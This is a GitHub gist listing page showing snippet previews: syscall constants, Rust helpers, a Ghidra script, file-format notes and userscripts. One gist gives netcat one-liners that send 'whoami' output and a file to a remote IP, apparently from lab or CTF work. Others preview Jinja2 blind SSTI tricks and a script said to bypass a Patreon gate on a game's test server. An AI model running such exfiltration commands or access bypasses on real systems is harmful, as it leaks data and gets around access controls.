Skip to content

Instantly share code, notes, and snippets.

@camas
camas / syscalls.asm
Last active May 7, 2024 15:57
NASM Linux x64 syscall constants
; %include "syscalls.asm"
SYS_read equ 0
SYS_write equ 1
SYS_open equ 2
SYS_close equ 3
SYS_stat equ 4
SYS_fstat equ 5
SYS_lstat equ 6
SYS_poll equ 7
@camas
camas / sending-data-from-windows-using-netcat.md
Created February 15, 2022 22:36
How to send data from windows using netcat without any encoding problems

Powershell likes to fuck with the encoding of everything and also doesn't like piping raw data so an easy way while in a PS shell is to just use cmd

cmd /c "whoami | ./nc.exe 10.10.14.10 4444"

cmd /c "./nc.exe 1.1.1.1 80 < file.txt"

Wrong ways to do it:

@camas
camas / syscall.rs
Created December 6, 2021 14:13
Linux x64 syscall asm in Rust
pub unsafe fn syscall0(n: isize) -> isize {
let mut ret: isize;
asm!(
"syscall",
in("rax") n,
out("rcx") _,
out("r11") _,
lateout("rax") ret,
);
ret
@camas
camas / read-utf8-char.rs
Last active July 1, 2021 12:22
Read a single utf8 char using rust
// See: https://en.wikipedia.org/wiki/UTF-8#Encoding
fn read_char<T: Read>(data: &mut T) -> char {
let b = read_u8(data);
let value;
if (b & 0b1111_1000) == 0b1111_0000 {
value = (((b & 0b0000_0111) as u32) << 18)
+ (((read_u8(data) & 0b0011_1111) as u32) << 12)
+ (((read_u8(data) & 0b0011_1111) as u32) << 6)
+ ((read_u8(data) & 0b0011_1111) as u32);
@camas
camas / binary-format-template.md
Last active June 29, 2021 01:30
010 Editor Template for dotnet's Binary Format [MS-NRBF]
@camas
camas / jinja2-blind-ssti-tricks.md
Created January 19, 2021 19:07
Jinja2 blind SSTI tricks

Jinja2 blind SSTI extraction tricks

Only useful when:

  • SSTI possible

  • Double brackets {{ filtered

  • Alternate data extraction methods not possible (reverse shell etc.)

@camas
camas / melvor-test-bypass.js
Created December 17, 2020 14:49
Use test.melvoridle.com without being a patreon
// ==UserScript==
// @name melvor-test-bypass
// @version 1.0
// @description Use test.melvoridle.com without being a patreon
// @author Camas
// @match https://test.melvoridle.com/
// @grant none
// ==/UserScript==
(function() {
@camas
camas / sig-maker.py
Created November 26, 2020 01:27
Ghidra script that creates signatures for memory searching
# Creates a search signature for the highlighted instructions
# Highlighted area should be continuous
#@author Camas
area_min = currentSelection.getMinAddress()
area_max = currentSelection.getMaxAddress()
current = area_min
output = []
while True:
@camas
camas / among-us-secure-new-format.md
Created October 10, 2020 21:11
Among Us `secureNew` File Format

Among Us secureNew file format

About

The secureNew file is used by Among Us to check unlocked skins, pets, etc. It has some basic anti-tamper.

Data Types

Data types used by secureNew

@camas
camas / aoc-markdown.js
Last active December 5, 2019 16:49
Converts question text from Advent of Code into markup and copies it to clipboard
// ==UserScript==
// @name AoC readmeifierthingy
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Converts Advent of Code instructions into markdown format
// @author Camas
// @match *://adventofcode.com/*/day/*
// @exclude *://adventofcode.com/*/day/*/input
// @grant GM_addStyle
// @grant GM_setClipboard